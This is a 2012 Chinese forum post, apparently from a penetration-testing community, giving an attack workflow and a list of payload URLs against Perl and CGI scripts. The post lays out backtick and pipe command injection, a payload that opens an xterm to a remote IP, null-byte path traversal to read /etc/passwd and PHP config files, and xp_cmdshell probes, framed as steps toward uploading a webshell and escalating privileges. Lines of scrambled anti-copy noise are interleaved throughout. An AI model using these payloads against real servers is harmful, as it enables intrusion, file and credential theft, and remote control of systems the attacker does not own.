中国网络渗透测试联盟
标题:
CGI资料整理
[打印本页]
作者:
admin
时间:
2012-9-13 16:56
标题:
CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
8 R( g1 i8 p6 q0 ]) a& v' A0 U
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
! \ P7 \( k- F0 b
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
* _# I& U+ U$ r" A! ^$ _
注“
4 m7 g) ~ O( q% W
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
, D, d+ \- `4 Y5 |1 ~! C0 ~$ C
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
7 o/ l) R* [7 f* }& F u* {( J
+ b1 ^( w9 F( n
http://target.com/cgi-bin/home/news/sub.pl?12
随意构造
, d, T. D1 N7 N
http://target.com/cgi-bin/home/news/sub.pl?&
换个字符,也许可以执行呢
S/ j- x) [" u2 } a3 i# ?4 T X
http://target.com/cgi-bin/home/news/sub.pl?`ls`
单引号
- W' a# l$ t* Q2 T
http://target.com/cgi-bin/home/news/sub.pl?`id`
6 | F0 c4 d$ P/ D8 j
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
7 w6 c% f) S6 O; x: y- ~
http://target.com/cgi-bin/home/news/sub.pl?`cat
<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
9 z- O+ g- b1 q1 H o. D1 a" r4 l
9 o; O1 r& ]) Q' O5 E, L4 I. F
http://target.com/test.pl;ls
|
+ z C) k, k/ A; b+ O( f8 t
http://target.com/index.cgi?page=
|ls+-la+/%0aid%0awhich+xterm|
$ W; |4 ^2 m, W8 W! C1 L( q% v
http://target.com/index.cgi?page=
|xterm+-isplay+10.0.1.21:0.0+%26|
" |$ B# G, t( v% M! x& }1 V
http://target.com/test.pl?
’id’ 类似’’内的操作和命令执行自己构造
. z. W; U- G$ H( F5 Y, l
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
+ m$ V% `# Z+ V! V
http://target.com/index.cgi?page=;dir+c:
\|&cid=03417 类似asp的Sql injection
2 f" g( c# [/ E2 g
) ~& U# B" p1 z- \
http://target.com/test.pl?&........
/../../etc/passwd
3 `( S) L& E" D: p4 O& p
: m% g- [9 X; O7 B1 S
http://www.target.org/cgi-bin/cl
... info.pl?user=./test 前面加./
6 \: z% m n3 ?* d
http://www.target.org/cgi-bin/cl
... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
2 \8 s5 `1 B9 r
http://www.target.org/cgi-bin/cl
... ../../etc/passwd%00
5 O" U4 ^7 e4 p0 B3 y- J
& w9 A8 I; q+ _5 l# p
http://www.target.org/show.php?f
... /include/config.php 查看php代码
# j( e4 q; W. O
http://www.target.org/show.php?f
... ng/admin/global.php
/ I' E7 V Y/ p. k/ S P
# _ c" q8 P9 o6 S/ D9 L! R
emm和ps的一句话
- P% G) P0 u% g) z5 p/ K+ T; U' N
% S U, A! [% {5 v( z7 k& J
http://www.target.org/cgi-bin/cl
... /../../../bin/ls%20
! y/ w: f/ u) O5 S! t- S
: W8 Q' @! B$ O- W
>bbb%20|
3 X1 o' C# l7 l$ \4 {6 t% F
: G7 ^6 L: M$ {- S1 v1 @
http://www.target.org/cgi-bin/club/scripts
\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
3 Y1 r8 }1 n* u. \/ ]
: `3 i; b$ F) s. Y
http://www.target.org/cgi-bin/cl
... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
8 g( A$ _/ ?/ @ R
http://www.target.org/csapi/..%c0%afhttp/china.sh
”+.elf?”+&+ls+/bin
$ y4 h% _ U# R. g3 a
0 H+ _5 Z0 k( F
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
6 D ?2 `6 H2 O
http://target.com/index.html#cmd.exe
' I- Y5 P8 N' i# M6 D6 m: p
http://target.com/index.html?dummyparam=xp_cmdshell
, M8 o! E& M& l/ O8 n+ O7 X
lynx
http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
' D2 \" ~) U4 v0 n% l4 S- W
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2